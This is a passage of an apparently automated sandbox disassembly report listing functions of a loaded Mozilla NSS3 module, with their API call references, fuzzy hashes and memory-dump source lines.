LeaveCriticalSection.KERNEL32(?), ref: 6CB89D45
EnterCriticalSection.KERNEL32(?), ref: 6CB89D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CB89DDE

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 70b6f5be8d4953db4867fb7a28c3540d21989c74e4325d7de083b7c537c9c554
Instruction ID: e20678a25c0c5fc50c0f1917c7cb1a8b27048d784b243bc375633855a32509d6
Opcode Fuzzy Hash: 70b6f5be8d4953db4867fb7a28c3540d21989c74e4325d7de083b7c537c9c554
Instruction Fuzzy Hash: 12A1B371B061409BFF08EF24D889B6E7779FB8231AF58412DD71647A40DB3AA845CB93

Function 6CB8A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf5c2bc458f7efe104dc97993454df2317607db7ff3c758c97a342cb46076f2b
Instruction ID: 8ac2ce1020f327e11e7b347d70ed74b18d992e0471e8cf6aae67fe32a0391459
Opcode Fuzzy Hash: cf5c2bc458f7efe104dc97993454df2317607db7ff3c758c97a342cb46076f2b
Instruction Fuzzy Hash: FA91B0317052419FFB08DF64D9C9B6A77B9FB4630AF54012DE70647A80EB38A845CF92

Function 6CC0C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6CC0CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC0CA35
PR_Unlock.NSS3(00000000), ref: 6CC0CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6CC0CA77
PR_Unlock.NSS3(00000000), ref: 6CC0CAFC

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 0db1f8bdf06dedf32639492a809db02d3935a6a421f771fe7316b3a4e9ddab5a
Instruction ID: 93b70b0d98e8c46493dab5d561d93694d917c68f6a2940550d9da4e750889205
Opcode Fuzzy Hash: 0db1f8bdf06dedf32639492a809db02d3935a6a421f771fe7316b3a4e9ddab5a
Instruction Fuzzy Hash: 0741E275B002059BEF00EF65D882AAB7BB4EF45388F144124ED1897711FB32D955CBE2

Function 6CC64A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC64A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6CC64B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC64B12
PR_SetError.NSS3(?,00000000), ref: 6CC64B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6CC64B35

Part of subcall function 6CC604A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6CC604B9
Part of subcall function 6CC604A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6CC6050A
Part of subcall function 6CC604A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6CC60545

Part of subcall function 6CC652E0: PORT_NewArena_Util.NSS3(00000400,6CC64A57,?,00000000), ref: 6CC652F7
Part of subcall function 6CC652E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CD2301C,6CC64A57,?,6CC64A57,?,00000000), ref: 6CC65312
Part of subcall function 6CC652E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6CC64A57,?,00000000), ref: 6CC65327
Part of subcall function 6CC652E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6CC64A57,?,00000000), ref: 6CC65334

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: 23e6e0b65ce9de78b75610d6f6ac193ee914d110aa605f71b66799540ba7c496
Instruction ID: 6ec14336f823ab1b7c82040d3590719ad338851f5319054f20a0d87306e2a637
Opcode Fuzzy Hash: 23e6e0b65ce9de78b75610d6f6ac193ee914d110aa605f71b66799540ba7c496
Instruction Fuzzy Hash: A131D2B1E052406BEB15DE37AEA1B7B36A8AB4131DF150024EC14ABF42F771C859C7A5

Function 6CC36AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC36943
Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC36957
Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC36972
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC36983
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC369AA
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC369BE
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC369D2
Part of subcall function 6CC36910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC369DF
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC36A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?,00000000,00000000), ref: 6CC36B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?,00000000,00000000), ref: 6CC36B88
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?,00000000,00000000), ref: 6CC36BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?,00000000,00000000), ref: 6CC36BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?,00000000,00000000), ref: 6CC36BF7
free.MOZGLUE(6CC3781D,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?,00000000,00000000), ref: 6CC36C08

Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC3781D,00000000,6CC2BE2C,?,6CC36B1D,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C40
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?), ref: 6CC36C58
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C6F
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC36C84
Part of subcall function 6CC36C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC36C96
Part of subcall function 6CC36C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC36CAA

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: 0b26a6835e09eab4be39d866cbe6d00d4fb9eeb291c90561347cd961718ebb6f
Instruction ID: c021332dcfae1ad0f24c4c587bb91f9ff9754cc6020ad55cd6222d94c80b0df9
Opcode Fuzzy Hash: 0b26a6835e09eab4be39d866cbe6d00d4fb9eeb291c90561347cd961718ebb6f
Instruction Fuzzy Hash: 4C418E71E006299BEF00DFA5E840B9EB7B8BF4534DF142429D858E3600F735A944DFA5

Function 6CD0AA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD0AA86

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Part of subcall function 6CD0A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CD0A662), ref: 6CD0A69E
Part of subcall function 6CD0A690: PR_NewCondVar.NSS3(?), ref: 6CD0A6B4

PR_IntervalNow.NSS3 ref: 6CD0AAEC
EnterCriticalSection.KERNEL32(?), ref: 6CD0AB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD0AB67
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0AB8B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: 06f354b524b25e7b5ec4dd8398ccb65e6483e49f03aea468adde82e36fcff88c
Instruction ID: 2905d26116da2deff733db58bfdbed6a67de4118c1437de621b68ac1810479e9
Opcode Fuzzy Hash: 06f354b524b25e7b5ec4dd8398ccb65e6483e49f03aea468adde82e36fcff88c
Instruction Fuzzy Hash: 18417EB5B00705CFC750DF2DC8C055AB7F6BF49318729456AE8199BB51E771E844CBA0

Function 6CBEEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBEEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CBEEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CBEEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBEEEEB
free.MOZGLUE(?), ref: 6CBEEEF6

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 090fc5447ff770e989aa86fed803b1edca70085c5071317507d09b39855ef724
Instruction ID: 246a35e3ddc891768c7fe4a83268a9d0818fed2f490188dd4dd83e433e182856
Opcode Fuzzy Hash: 090fc5447ff770e989aa86fed803b1edca70085c5071317507d09b39855ef724
Instruction Fuzzy Hash: 91313C716006C09BE7209F2CCC4576A7BF8FB4DB89F540529EA5A87B50E731E418CBD2

Function 6CBF6AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6CBFB21D,00000000,00000000,6CBFB219,?,6CBF6BFB,00000000,?,00000000,00000000,?,?,?,6CBFB21D), ref: 6CBF6B01

Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC4FE08
Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC4FE1D
Part of subcall function 6CC4FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC4FE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6CBFB219,?,6CBF6BFB,00000000,?,00000000,00000000,?,?,?,6CBFB21D), ref: 6CBF6B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6CBF6B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CBF6B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6CBF6BB6

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: b299e75a16b56a2f7f5eba7fbcfb8823c6f9a521ab7ba6fb631aaf1d30dde43d
Instruction ID: a8b7226e5827de39f9ae7a27525aaa43c396d20cc1e3d629f9b9edcb0308e3fe
Opcode Fuzzy Hash: b299e75a16b56a2f7f5eba7fbcfb8823c6f9a521ab7ba6fb631aaf1d30dde43d
Instruction Fuzzy Hash: 642167729003945BEB108FA4CC41F9A7BE8DF45399F044529EC28C7B12F731E95ACBA1

Function 6CBFAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000,00000000), ref: 6CBFADA7

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000,00000000), ref: 6CBFADB4

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CBF3FFF,?,?,?,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000), ref: 6CBFADD5

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD194B0,?,?,?,?,?,?,?,?,6CBF3FFF,00000000,?), ref: 6CBFADEC

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF3FFF), ref: 6CBFAE3C

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5181dd9b521e597a8d566e65e89d77d37f5433e928a77bb94b75afef60231347
Instruction ID: f61ac1a2349e7f748444e4bca8151b8009a3d248cccbabef08506c560079e50f
Opcode Fuzzy Hash: 5181dd9b521e597a8d566e65e89d77d37f5433e928a77bb94b75afef60231347
Instruction Fuzzy Hash: B3113B71E002445BF7109F699C41BBF73A8DF9114DF548128EC2996B41F720F95E86E3

Function 6CC18E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EA2

Part of subcall function 6CC3F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC3F854
Part of subcall function 6CC3F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC3F868
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC3F882
Part of subcall function 6CC3F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC3F889
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC3F8A4
Part of subcall function 6CC3F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC3F8AB
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC3F8C9
Part of subcall function 6CC3F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC3F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EC3
TlsGetValue.KERNEL32(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC18EF1
PR_Unlock.NSS3 ref: 6CC18F20

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: b4f7cc7e76a94c4f945d191df3c600a0cf947dd8330b2e39ff5d862846df4834
Instruction ID: 8f8d8dc2c97760a3134aa35a4217fa7d9c90a385ea295dc3bdf1bfa1a7329d06
Opcode Fuzzy Hash: b4f7cc7e76a94c4f945d191df3c600a0cf947dd8330b2e39ff5d862846df4834
Instruction Fuzzy Hash: D9217C7490D6059FDB00AF2AD084599BBF4FF48318F42456EED989BB41E730E854DBD2

Function 6CC48970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6CBF61C4,?,6CBF5639,00000000), ref: 6CC48991
TlsGetValue.KERNEL32(?,?,?,?,?,6CBF5639,00000000), ref: 6CC489AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CBF5639,00000000), ref: 6CC489C6
PR_WaitCondVar.NSS3 ref: 6CC489F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CBF5639,00000000), ref: 6CC48A0C

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 1e1fade474101e4ef6a1ef0b43c0bd3b0fd7067a09c416713dbf6356edb754c6
Instruction ID: b3f29e8f2c83c6ff5a8b3548b89fed2b0c9711d915c9221b34527b021a6751dc
Opcode Fuzzy Hash: 1e1fade474101e4ef6a1ef0b43c0bd3b0fd7067a09c416713dbf6356edb754c6
Instruction Fuzzy Hash: 19216BB0A046458FDB00AF79C4846A9BBF4FF0A318F118A6ADD98D7605EB30D494CBD2

Function 6CC48800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
